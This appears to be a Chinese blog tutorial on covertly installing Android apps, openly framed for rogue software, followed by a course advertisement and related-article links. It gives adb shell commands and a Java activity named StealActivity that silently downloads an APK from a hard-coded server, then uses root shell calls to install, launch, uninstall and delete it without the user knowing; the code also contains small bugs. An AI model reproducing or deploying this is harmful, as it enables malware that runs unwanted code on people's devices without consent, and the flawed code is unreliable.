一、概述:

1、应用场景:电子市场、流氓软件
2、使用手段:偷偷下载,偷偷安装,偷偷启动,偷偷删除

二、如何实现:

1、使用命令实现

adb push C:\Users\Administrator\Desktop\gameview.apk data/local/tmp  //下载adb shellcd data/local/tmplspm install gameview.apk //安装am start -n com.android.game/com.android.game.GameUI  //启动am kill com.android.game//停止pm uninstall com.android.game //卸载rm gameview.apk  //删除

2、使用代码实现

/** * @描述         实现静默安装 * @项目名称      App_imooc * @包名         com.android.imooc.root * @类名         StealActivity * @author      chenlin * @date        2013年6月11日 下午5:15:09 */public class StealActivity extends Activity {    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        init();    }    private void init() {        Thread thread = new Thread(new Runnable() {            @Override            public void run() {                try {                    //下载                    String path = "http://192.168.0.20:8080/game.apk";                    URL url = new URL(path);                    HttpURLConnection conn = (HttpURLConnection) url.openConnection();                    conn.setRequestMethod("get");                    conn.setReadTimeout(5000);                    conn.setConnectTimeout(5000);                    if (conn.getResponseCode() == 200) {                        InputStream is = conn.getInputStream();                        File file = new File("sdcard/apk/game.apk");                        FileOutputStream fos = new FileOutputStream(file);                        int len = -1;                        byte[] buffer = new byte[1024];                        while((len = is.read())!=-1){                            fos.write(buffer, 0, len);                        }                        fos.flush();                        fos.close();                    }                    //偷偷安装                    RootTools.sendShell("pm install sdcard/apk/game.apk", 5000);                    System.out.println("下载完毕");                    //偷偷启动                    RootTools.sendShell("start -n com.android.game/com.android.game.GameUI", 5000);                    System.out.println("启动完毕");                    //RootTools.sendShell("am kill com.android.game", 5000);                    //偷偷卸载                    RootTools.sendShell("pm uninstall com.android.game", 5000);                    System.out.println("卸载完毕");                    //偷偷删除                    RootTools.sendShell("rm sdcard/apk/gameview.apk", 5000);                    System.out.println("删除完毕");                } catch (Exception e) {                    e.printStackTrace();                }             }        });        thread.start();    }}

———————————————————————
有需求者请加qq:136137465,非诚勿扰
(java 架构师全套教程,共760G, 让你从零到架构师,每月轻松拿3万)
01.高级架构师四十二个阶段高
02.Java高级系统培训架构课程148课时
03.Java高级互联网架构师课程
04.Java互联网架构Netty、Nio、Mina等-视频教程
05.Java高级架构设计2016整理-视频教程
06.架构师基础、高级片
07.Java架构师必修linux运维系列课程
08.Java高级系统培训架构课程116课时
(送:hadoop系列教程,java设计模式与数据结构, Spring Cloud微服务, SpringBoot入门)
——————————————————————–

更多相关文章

  1. Nginx系列教程(六)| 手把手教你搭建 LNMP 架构并部署天空网络电影
  2. Android(安卓)架构师之路20 响应式编程RxJava操作符源码分析与实
  3. 编译libcurl静态库(.a文件) 在android中使用(armeabi、x86、arm64
  4. Android架构组件_LiveData
  5. 写出一份“有理有据使人信服”的Android项目设计文档,这个技能也
  6. android 详细架构
  7. Android官方开发文档Training系列课程中文版:高效显示位图之管理
  8. 在Visual Studio中使用C#开发iOS & Android应用程序
  9. android 框架之WIFI系统和系统架构全面总结(一)。

随机推荐

  1. 仿php中文网右侧内容
  2. php中文网下侧区域的实例演示
  3. 选择器权重与伪类选择器
  4. PHP实现爬虫爬取图片代码实例
  5. PHP的imageTtfText()函数深入详解
  6. PHP的imageTtfText()函数深入详解
  7. php array_map()函数实例用法
  8. JSP 获取真实IP地址的代码
  9. php中使用array_filter()函数过滤数组实
  10. jdbc连接数据库步骤深刻分析